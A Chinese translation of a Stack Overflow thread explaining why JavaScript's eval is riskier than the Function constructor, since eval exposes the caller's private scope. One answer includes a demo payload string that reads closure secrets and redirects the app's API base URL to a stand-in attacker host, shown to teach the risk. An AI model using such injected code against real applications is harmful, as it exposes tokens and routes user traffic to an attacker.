eval与函数构造器的区别

5
我正在阅读 MDN 关于 eval 的内容,它似乎建议使用函数构造器作为 eval 的替代方案。MDN 强调使用函数构造器相对于 eval 来说更安全,因为:

第三方代码可以看到调用 eval() 的作用域,这可能会导致类似 Function 不易受到的攻击。

- MDN

"第三方代码可以看到调用 eval() 的作用域" 到底是什么意思,它如何影响我的 JS 应用程序的安全性?


如文档所述,这是关于作用域的问题。 - Lawrence Cherone
@LawrenceCherone 你好 Lawrence,我知道这一点。但是拥有访问_scope_实际上意味着什么?谢谢。 - Shnick
1
https://jsbin.com/zimerutowe/edit?js,console,output - Lawrence Cherone
2个回答

6

来自MDN页面的内容:

然而,与eval不同的是,Function构造函数创建的函数仅在全局作用域中执行。

如果您将所有代码封装在闭包中,则评估函数体无法访问保密对象。

(() => {
  let secret = 42;
  eval("console.log(secret)"); // 42
  let fn = new Function("console.log(secret)");
  fn(); // secret is not defined
})();


1
使用eval来解析输入的示例暴露并危害了您应用程序的所有私有作用域。

app = (function(){
  // my app with all its shiny little secrets
  // stored in private variables
  var secret = 42;
  var apiUrl = "/api/";

  return {
    withEval(input){
      var someObject = eval(input);
      console.log("withEval", someObject);
      if(apiUrl === "/api/"){
        console.log("xhr to", apiUrl);
      }else{
        console.warn("xhr to", apiUrl);    
      }
    },
    withFunction(input){
      var someObject = Function("return(" + input+")")();
      console.log("withFunction", someObject);
      if(apiUrl === "/api/"){
        console.log("xhr to", apiUrl);
      }else{
        console.warn("xhr to", apiUrl);    
      }
    },
  }
})();

var malware = `(${
()=>{
  try { console.warn("found secret", secret); } catch(err){ console.error(err); }
  try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
  apiUrl = "http://attacker.example.com/";
}})(),{ foo: 13, bar: 42 }`;

console.log(malware);

app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);

使用eval会暴露您的“秘密”,例如id、令牌等,甚至“apiUrl”已更改,因此所有api调用现在都要经过某个攻击者的网页进行往返传输。而且您的代码甚至不会抛出错误;我已在控制台中记录了这些错误。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接